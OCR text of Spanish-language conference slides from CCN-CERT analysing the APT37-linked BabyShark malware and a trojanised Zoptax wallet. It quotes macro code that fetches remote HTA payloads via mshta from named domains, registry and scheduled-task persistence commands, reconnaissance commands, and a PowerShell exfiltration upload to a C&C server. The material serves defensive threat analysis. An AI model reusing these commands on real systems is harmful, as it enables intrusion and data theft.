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Introduccion

Situacion politica
« Cerca de ochenta anos de tensiones geopoliticas entre los dos grandes bloques surgidos tras
la Il Guerra Mundial.

« Desde la Guerra de Coreo finalizada en 1953 con un armisticio, la tension en la peninsula
coreana no ha desaparecido, manteniéndose una relacion bélica y de constantes discusiones
entre Corea del Sur y Corea del Norte.

« Durante ese tiempo se han producido movimientos militares a ambos lados de la frontera,
provocan una continua desestabilizacion de la zona.

« Es por todo ello y sumado el aislamiento internacional, Corea del Norte ha demostrado un
gran interes por el desarrollo tecnoldgico, convirtiendose en uno de los principales enemigos
politicos tanto de Estados Unidos como de Corea del Sur.

« Todo esto unido al desarrollo que ha experimentado Internet en la Gltima decada, ha
producido que el conflicto bélico se traslade a un nuevo escenario: el ciberespacio.
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Introduccidén
APT37

También conocido como Reaper, Groupl123, ScarCruft o Venus 121.
Es un grupo cibernético vinculado al Gobierno de Corea del Norte.

Especializado en la realizacion de ataques dirigidos contra diferentes organismos y sectores
de Corea del Sur.

Conocidos también por bloquear los servicios de sitios web gubernamentales de paises
enemigos, tales como Estados Unidos o Japon.

PoO0D1I01010100T0TOTD
002:12002000010110111000110;
o 11110Ofo;;gIOIOOIOIIOI111000110101010111011}3(’100 r
1001020001 01010
i 102010022000 0100
oo 2800022:3002)000101101110001 10111200010
1010100101 100011 101010101000001010111101010118
0101 010100011 011111 0100010100000 1 1111101010000
__JI0Y || 110031000 110,01070010000101,_ 00ToTToToToTeg

Oﬁl 07l 00010, 0101010001
s "6 h \0 0T0t00 Q0TS
SR

010000010 \

010
010101010101%

ﬂl).) “
ll|

‘ Q.!n'

4

rt'r
,» I{Jﬂ L
Yrry m A3 AAG A% ARA

coN-cert

criptolégico



I #XI1IIJORNADASCCNCERT

Introduccion

APT37

 Atribuciones:
« 2014 - Atagque contra disidentes politicos
e 2016 - Operacion Daybreak
e 2016 - Operacion Erebus
« 2017 - Operacion Evil New Year
« 2017 - Operacion Are you Happy?
« 2019 - Operacion NOKKI Campaign
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Laboratorio
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BabyShark

Relacion con APT37

* KimJongRAT:
* Ruta de almacenamiento de la informacion extraida del equipo infectado:

KimJongRAT:

if ( v7 < 0x208 )
{
*(wchar_t *)((char *)&word_1009C678 + v7) = 0;
wcslwr (&word_1009C678);
return sub_10003270(&word_1009C880, L"¥s\\Microsoft\\ttmp.log", &word_1009C678);

}

BabyShark:

certutil -f -encode “%APPDATA%\Microsoft\ttmp.log”

“%APPDATA%\Microsoft\ttmp1.log”

4
<entro criptolégico nacional



I #XI1IIJORNADASCCNCERT

BabyShark
Relacion con APT37 Cortiads =

General | Detalles | Ruta de certificacion

 Stolen Pencill

» Uso del mismo certificado robado 3§ Informacion del certificado

Este certificado ha sido revocado por su entidad de
certificacié

Emitido para: EGIS Co., Ltd.

Emitido por:  thawte SHA256 Code Signing CA

Valido desde 28/ 04/ 2015 hasta 27/ 06/ 2017

| Instalar certificado... | | Dedaracin del emisor |

Obtener mas informacion acerca de certificados

coN-cert
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BabyShark
Relacion con APT37

« KimJongRAT y Stolen Pencil comparten entre ellos el método de descifrado de las cadenas
de texto.

(:?.1\-%+abcdefghijkimnopqrstuvwxyz - :).?\-1+%mgqgfhxcldpstgazribojkywveun

« Ejemplo descifrado:

ata:00429180 dword 429180 dd "hmrG'

.rdat

.rdata 29184 dword_429184 dd "oqpG’
.rdatsa 88 dword_429188 dd "Vuom’
.rda 8C byte_42918C db @

8D alien 16h

rda 29196 dword_42919@ dd "ThxL"®
.rdata: 29194 dwor'd_429194 dd "Mfro’
.rdata:e@429198 dword_429198 dd "xohh”’

.rdata:0842919C word_42919C dw "ji'

coN-cert
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BabyShark
Version 1

El fichero gue inicia la infeccion
puede ser de diferentes tipos:

- Documentos Office

- Ejecutables

Método de persistencia en el sistema

Petician
& |..c
BabyShark

I #XI1IIJORNADASCCNCERT

BabyShark cargador
(Fichero HTA)

j o
— —Ejecucian —Descifrado#

Peticion
>

comandos

Servidor de C&C
(HTTPS)

Comandos descifrados y que se
ejecutaran en el equipo:

- Obtencion de Persistencia

- Extraccidn de informacion

- Envio de informacion al servidor de C&C

coN-cert
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BabyShark
Distribucion
« BabyShark se distribuia por correo electronico a través de Spear-Phising.

« El principal objetivo de esta campafia eran personas gue trabajan como expertos nucleares o
Sus organizaciones.

 Para llamar la atencion de la victima, el correo electronico contenia asuntos relacionados con
la carrera nuclear de Corea del Norte.

« Finalmente para infectar la maquina, el correo contiene un adjunto malicioso.

4l
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BabyShark

Documento ofimatico

 Pararealizar la infeccidon el documento contiene
codigo VBA (Visual Basic for Applications).

« Las macros se encuentran protegidas por una
contrasena.

« Algunas muestras, para mejorar el engafo
realizan modificaciones en el documento
simulando un descifrado.

Antes:

Las macros se han deshabilitado. Habilitar contenido

Agenda
University of California Institute on Global Conflict & Cooperation and
China Institute for International Studies
With Generous Support from the Carnegie Corporation of New York

|
Tue ,21 ¢
|1 0 [ ner | wHo | |

Wednesday, 22 June

0730- | Br st
0830
08 arks ke
D RK, IGCC
Amb Gu Se, CIIS enter
0845 nt
: Security and
Center
Después:
Agenda
Umniversity of California Institute on Global Conflict & Cooperation and
China Institute for International Studies
With Generous Support from the Carnegie Corporation of New York
8
Tuesdayv, 21 June
| 1800 | Welcome Dinner | Swan Lakeview Hotel
Wednesdav, 22 June
0730- | Breakfast Swan Lakeview Hotel
0830
0830 | Welcoming Remarks Beijing Yanqi Lake
Dr. Susan SHIRK., IGCC International Convention &
Amb. Gu Se, CIIS Exhibition Center
0843 | Overcoming Obstacles to Development and Peace on | Beijing Yanqi Lake
the Korean Peninsula: Security and International Convention &
Denuclearization Exhibition Center
Moderator: TBD
Panelists: TBD

coN-cert
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BabyShark

M acros docu mento Ofi mé.tiCO S5et p = CreatelCbject ("M5XMLZ .ServerXMLATTF.6.0")

p.Cpen "GET", "https://christinadudley.com/public html/image/ksi/string.gif", False
p.5end

« Se han identificado dos tipos diferentes | 222

a = p.responseTeXt

de macros. mei
1. En uno de los casos se descarga e e
directamente el cédigo HTA que se e e
ejecutara. az(2) = a

Set wShell = CreateCbject (aa (D))

2. Se descarga un contenido que simula  |zecu = wshell.run(aa(1), 0, False)

file doc = wihell.ExpandEnvironmentStrings ("ftempi”) & "\nnrth_knrea.doc"

ser un GIF el cual descifra y que retu = wShell.Run(aa(2) + file doc + """", 0, True)
termina siendo el cédigo encargado de |5 7 wereis et T e dos TR, G, Txas)
la infeccion.

End Sub

Sub Autolpen()
Shell ("mshta https://fmchr.in/images/common/WEACD,Qzgrnd.hta™)
End Sub

Sub Autolpen ()
Shell ("mshta https://christinadudley.com/public html/cdudley/sites/default/files/1203427/Zjckk0.hta")
End Sub

coN-cert
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BabyShark

Version PE ejecutable

Se ha identificado un ejecutable de Windows
firmado con un certificado robado.

32912 Entropy FLC

Import Overlay

EntryPoint: 00001062 = 00400000
MumberOfSections: 0003 = - 00003000

--PE32
Linker: Microsoft linker(5. 12.3034)
Compiler: Visual CfC++{12.00.8168)[C++]
Tool: Microsoft Visual Studio(6.0)
- Overlay: Binary
Certificate: Windows Authenticode(2.0)[PKCS #7]

Detalles de |z firma digital

General | Opdones avanzadas

Detalles de la firma:

Campo Valor

Version V2

Emisor thawte SHAZ256 Code Signing CA, thawte, In
Mimero de serie Of ffeq432a53ff03b9223f88belbs 3d
Algoritmo implicito shal

Algoritmo de dfrado de c... RSA

Atributos autenticados
Tipo de contenido 060a2b 0501040182 37020104
1.3.614.1.311.2.1.11 300c0680a2b0601040182370201 14
Sintesis del mensaje 04 14 a3 8b 90 ce 3c0a 3b bS5 a4 ff 7e f4 b1l
1.3.6.1.4.1.311.2.1,12 3050a0328030004300AF00 7500 6e0

1| 1] | r

Valor:

V2

coN-cert
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BabyShark

Version PE ejecutable
« El codigo encargado de continuar con la ejecucion del malware es el siguiente:

; CHAR ProcHame[ ] |

ProcHame db "WinExec',@
; CHAR LibFileName[ ]
LibFileHame db 'kernel32.DLL",8

alshta_exeHttpK db ‘mshta.exe http://ksisf1._hta',B8

aRegAddHkey cur db ‘reg add "HKEY CURRENT USER\Software\Microsoft:\Command Processor" °
: DATA XREF: WinMain{x,x,x,x)+29To

db '/v AutoRun /t REG_S2Z /d "%s" /f',8

ul LoadLibraryA{LibFileHame};

us GetProcAddress{uvi, ProcHame)} ;

sprintf(&v7, aRegAddHkey cur, aMshta exeHttpK);

{(void { stdcall =){ DWORD, DWORD))u5)(&u7, B);
{(void { stdcall =){ DWORD, DWORD})u5){(aCmd exe, 8);

coN-cert
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BabyShark
Cédigo HTA

 HTA es una aplicacion creada en HTML y que permite la
insercion de codigo VBScript y JScript.

- Estas aplicaciones se ejecutan como aplicaciones de m—
confianza. Este privilegio es utilizado pro el malware para
ejecutar cualquier tipo de codigo.

HTA - hello world

Run script (JS) || Run script (VB) |

Operating System

Microsoft Windows 10 Enterprise 10.0.14393

4l
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BabyShark
Cédigo HTA

 Solita solicita al servidor de C&C los comandos.
 Descifra el comando recibido del servidor.

* Ejecuta directamente en memoria los comandos
descifrados (Fileless). v

<script language="VBScript"=
On Error Res -

Function Co®@(c)
L=Len(c)
For jx=0
For @ To Int(L/d)-1

s=s&Mid(c,ix*d+jx+1,1)
Next
Next
s=s&Right (c,L-Int(L/d)*d)
CoB0=s
End Function
Set Post® = CreateObject( L2.ServerXMLHTTP.6.0")
Post@ n "GET", "https: hr.in/images/common/NEACD/expres.php?op=1", False
Post@.Send: t@=Post0. responseText
d=11:t0=CoB0(tA)
Execute(t0)
k/script>
</html=>

coN-cert
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BabyShark

Comandos recibidos

« Persistencia:
« Tarea programada (VBS):

schtasks.exe /Create /SC HOURLY /ST 03:51 /TN "Adobe\Microsoft\Windows\Cljc\Lun" /TR

"wscript.exe """%APPDATA%\Microsoft\Fan\erypi.vbs"""" /F

« Tarea programada (JS):

schtasks.exe /Create /SC HOURLY /MO 23 /TN "Intel Pro\Windows\Kmba\Lkr" /TR "wscript.exe
"""%APPDATA%\Adobe\Mgm\obdjn.js"""" /F

* Registro:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ

/d "powershell.exe start-process -windowstyle hidden -filepath mshta.exe <URL_C&C>" /f

4
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BabyShark

Comandos recibidos

 Persistencia:
« Contenido (VBS):

Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c timeout 5

& taskkill /im cmd.exe",0,true)

« Contenido (JS):

wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c timeout

5 & taskkill /im cmd.exe",0,true);

4
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BabyShark

Comandos recibidos

 Extraccion de informacion:
e Usuario actual:

cmd.exe /c whoami > %appdata%\Microsoft\ttmp.log

* Nombre del equipo:

cmd.exe /c hostname > %appdata%\Microsoft\ttmp.log

« Configuracion de la red:

cmd.exe /c ipconfig /all > %appdata%\Microsoft\ttmp.log

 (Cuentas del sistema;

cmd.exe /c net user > %appdata%\Microsoft\ttmp.log

4
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BabyShark

Comandos recibidos

« Extraccion de informacion:
» Aplicaciones instaladas:

cmd.exe /c dir "C:\Program Files (x86)“ > %appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\Program Files” > %appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\ProgramData\Microsoft\Windows\Start Menu\“ >

%appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" >
%appdata%\Microsoft\ttmp.log

» Procesos y servicios en ejecucion:

cmd.exe /c tasklist > %appdata%\Microsoft\ttmp.log

 Ficheros recientes:

cmd.exe /c dir "%APPDATA%\Microsoft\Windows\Recent” > %appdata%\Microsoft\ttmp.log

4
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BabyShark

Comandos recibidos

« Extraccion de informacion:
» Sistema operativo y version:

cmd.exe /c ver > %appdata%\Microsoft\ttmp.log

 Variables del entorno:

cmd.exe /c set > %appdata%\Microsoft\ttmp.log

» Los 10 ultimos accesos por RDP:

cmd.exe /c reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server

Client\Default” > %appdata%\Microsoft\ttmp.log

4
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juser-pc\admin

User-PC
B abySh ar k Windows IP Configuration
Host Name . . . .« « « « . . 1 User-PC
g = Primary Dns Sufflx -
Comandos recibidos Node Type . . . . . . . . ... .:Hybrid
IP Routing Enabled - v+« « . . 1t No
7 . - 7 WINS Proxy Enabled. . . . . . . . : No
« Extraccion de informacion: !
. . . [Ethernet adapter Connection:
« Ejemplo de fichero de salida: ’
Connection-specific DNS Suffix
Description . . . . . . . . . . . : Intel(R) PRO/180@ MT Network Connection
Physical Address. . . . . . . . . : 52-54-00-4A-04-AF
DHCP Enabled. . . . . N
Autoconfiguration Enabled . - . . 1 Yes
Link-local IPv6 Address . . . . . : feBB8::8179:b3ff:199:2314%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.100.221(Preferred)
User accounts for \\USER-PC Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.2
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘ DHCPve IAID . . . . . . . . . . . : 248276480
admin Administrator Guest DHCPv6 Client DUID. . . . . . . . : B8-81-80-01-21-68-21-48-52-54-00-4A-AD-11
The command completed successfully. DNS Servers . . . . . . . . . . . : 192.168.100.2
NetBIOS over Tcplp .+« +« « . . : Enabled
Volume in drive C has no label.
Volume Serial Number is C4BA-3647 Tunnel adapter isatap.{4040CF00-1B3E-486A-B467-FA14C56B6FCO} :
Directory of C:\Program Files Media State . . . . . : Media disconnected
Connection-specific DNS Sufflx
08/30/2018 ©1:55 PM <DIR= . Description . . . . . . . . . . . : Microsoft ISATAP Adapter
08/30/2018 ©1:535 PM <DIR= . Physical Address. . . . . . . . . : B0-00-00-00-00-00-00-E0
pa/28/2018 12:58 PM <DIR> Adobe DHCP Enabled. . . . . .. . . * No
08/28/2018 12:03 PM <DIR= CCleaner Autoconfiguration Enabled . . . . : Yes
QegJ/Ies72071e 01-13 DM =DID- Common Eilac

coN-cert
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BabyShark

Comandos recibidos

 Extraccion de informacion:
 Conversion de la informacion:

“C:\Windows\System32\certutil.exe” —f encode “%appdata%\Microsoft\ttmp.log”

“%appdata%\Microsoft\ttmp1.log”

 Resultado:

————— BEGIN CERTIFICATE-----

dXN1cilwY1xhZG1lpbgOKVXN1cilQQweKDQpXawWskb3dzIE1QIENVbMZpZ3VyYXRp
b24NCgPKICAQSGIzdCBOYW11IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAUIDOgVXNL
cil00wBKICAgUHIpbWFyeSBEbNMgU3VMZmL4ICAUIC4gLiAuIC4gLiAuIDogDGog
ICBOb2R1IFRScGUgLiAUIC4gLiAUIC4gLiAUIC4gLiAUIC4g0iBIeWIyaWQNCiAg

bgOKVVNFULBSTOZITEU9QzpcVXNLcnNCYWRtaW4NC1ld1lY1Z1lcnNpb25Gb3J5b3N1
YnVkLkISND@@DOp3awWskaXI90zpcV21uZ693cwOKd21uZG93c190cmFjaWsnX22Zs
YWdzPTMNCndpbmRvd3NTdHINhY21uZ19sb2dmawx L PUMBXEIWVEIpb1xUZXNBc1xp
bnNeYWxscGFja2ZFnZVxjc2lsb2dmaWxlLmxvZwak

————— END CERTIFICATE-----

coN-cert
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BabyShark

Envio de la informacion

« Una vez generado el fichero por la utilidad “certutil.exe”, se envia al servidor de C&C con el
siguiente comando:

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” (New-Object
System.Net.WebClient).UploadFile(“<URL_C&C>",

“%appdata%\Microsft\ttmp1l.log”); del “%appdata%\Microsft\ttmp1l.log”; del
“%appdata%\Microsft\ttmp.log”
« Cuando termina con el envio del fichero, continua con la eliminacion del fichero original y el
gue se encuentra en base64.

4
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BabyShark 2

Nuevas Rutas
« “/method/resp”, “/method/resp _suspect” y “/method/blackip.txt”

2019/87/04 07-37-PM Wget/1.19.4 (linux-gnu) open document.

2019/07/85 12-25-50-AM doc file downloaded Mozilla/5.0 (¥11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101 Firefox/67.0
2019/07/05 12-26-05-AM doc file downloaded Mozillas5.0 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101 Firefox/67.0
2019/07/05 12-26-19-AM doc file downloaded Mozilla/5.@ (X11; Ubuntu; Linux %86 64; rv:67.0) Gecko,/20100101 Firefox/67.0
2019/07/085 12-26-39-AM doc file downloaded Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101 Firefox/67.0

2019/07/05 12-33-22-AM 164,

.91 doc file downloaded Mozilla/5.8 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100181 Firefox/67.0

&> C e

2019/06/25 08-PM 12.191 asist file downloaded suspected access oTu 0hA==

2019/06/25 B8-PM i5.28 asist file downloaded suspected access TOB MOALACOAUABDAA==
2019/06/25 08-PM 8,152 asist file downloaded suspected access MY |

2019/06/25 B8-PM i5.28 asist file downloaded suspected access VwB O0AZAFAATWBVAFYANQBVAFAA
2019/06/25 09-PM 12.191 asist file downloaded suspected access Mjc

26019/06/25 09-PM 18.152 asist file downloaded suspected access Wh]:] SOAtAFQALQASAFAAUGAWADEA
2019/06/25 09-PM i5.28 asist file downloaded suspected access MTU MjMw

2619/06/25 10-PM 12.191 asist file downloaded suspected access VOB TwATAFAADWA=

2019/06/26 11-PM i5.28 asist file downloaded suspected access MTc Miw==

2019/06/27 12-AM 18.152 asist file downloaded suspected access VgB .

2019/06/27 12-AM .38.230 asist file downloaded suspected access MjE MjAQ

2019/06/27 12-AM 17.165 asist file downloaded suspected access RwB UABDACBARQAIADGADABFAA==
2019/06/27 12-AM 87 asist file downloaded suspected access MTE

26019/06/27 12-AM 12.191 asist file downloaded suspected access NwB UABDAA==

coN-cert
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Zoptax
Web

La web de la aplicacion:
* https://www.zoptax.com

La web publicita un supuesto
software para realizar llamadas
VOIP apoyandose en la tecnologia
Blockchain.

Varios foros hablando de dicha

aplicacion y en algunos de ellos
comentan la posibilidad de que

contenga codigo malicioso.

* https://bitcointalk.org/index.php?to

pic=5150819
« https://bitcointalk.org/index.php?to

pic=5160152.0

I~ XIIIJORNADASCCNCERT

A
A

Disru pting VO 124 IEO Round 5 WILL END ON EXMARKETS IN
with Blockchain

Zoptax is a blockchain based calling Network providing
its users completely secure and private VOIP calls
experience via decentralized Network.

Join ICO

Zoptax is a US registered company Find Out More

IEO with 7% bonus on EsJaMARKETS

Topic: ZOPTAX IEO on Exmarkets but Zoptax wallet contain Trojan/Malware (Read 170 times

¢S, ZOPTAX IEO on Exmarkets but Zoptax wallet contain Trojan/Malware
" June 30, 2019, 01:02:15 PM

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

AegisLab
Antiy-AVL ( Trojan/Win32 Starter SecureAge APEX
CAT-QuickHeal ( Trojan_Starte Cylance (1) Unsafe

Driveb ( Trojan.DownLoader28.22654 Fortinet ( W32/Starter ANUWIr

coN-cert
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https://bitcointalk.org/index.php?topic=5150819
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Zoptax
Descargas Download Wallets

Zoptax Phone Features

Zoptax Phone will be embedded with zoptax app only so
you have 0% security breach issue.

Solving security and central authority control issue on VOIP Zoptax is
taking the next step of launching its Mobile Phone which will only have

zoptax embedded application making it first of its kind 0% security risk-
free phone. Keep eye on this page or subscribe to your email to get
further information about the Zoptax phone.

®» Download Now Download Now
Coming Soon
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Zoptax
Comportamiento

« Tras su ejecucion observamos el siguiente

comportamiento:

I~ XIIIJORNADASCCNCERT

& zoptax-windows.exe (P

D: 2640) = 3]

] cmnd.exe cmd /c mshta http://www.seoulhobi.biz/method/XobjyO.hta (PID: 3720) @
i ] mshta.exe mshta http://www.seoulhobi.biz/method/XobjyO.hta (PID:1544) ¢ =

« Analizando la muestra con mayor detalle, se observa

un fragmento de codigo sospechoso.

» Dicho fragmento descifra una cadena binaria y la

manda como p

arametro a WinExec

‘e mshta http! - “wa. szou lhobi.biz<method

jwEd.hta™

-2
563
125;
-36;
-58;
453
-4,
119;
-483
-13;
38;
-9;
-423
116;
-69;
29;
-55;
-121:
112;
27;
-87;
*({ DWORD *) = @;

while ( 1)

[v2++] = v3 ~ BYTEL(vl);

%algn_GBFE58[9857698 * (_DWORL

if ? == 56 )
r

WinkExec| » 815

sub 55DED@(&vE1);
if ( byte 164B4CE )
1

coN-cert
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Zoptax
Actualmente

I - X111JORNADASCCNCERT

E rro r 522 Ray ID: 54058eb90ac06942 + 2019-12-05 11:07:37 UTC

Connection timed out

ol — & — @

You Paris www.zoptax.com
Browser Cloudflare Host
Working Working Error

What happened?

The initial connection between Cloudflare's network and the
origin web server timed out. As a result, the web page can not be
displayed.

What can | do?

If you're a visitor of this website:

Please try again in a few minutes.

If you're the owner of this website:

Contact your hosting provider letting them know your web server
is not completing requests. An Error 522 means that the request
was able to connect to your web server, but that the request

coN-cert
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Oscar Luis Garcia Sierra
Entelgy Innotec Security

r3rOk@protonmail.com

@r3r0k_

¢ PREGUNTAS?
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COMUNIDAD Y CONFIANZA,
BASES DE NUESTRA CIBERSEGURIDAD

#XIIJORNADASCCNCERT
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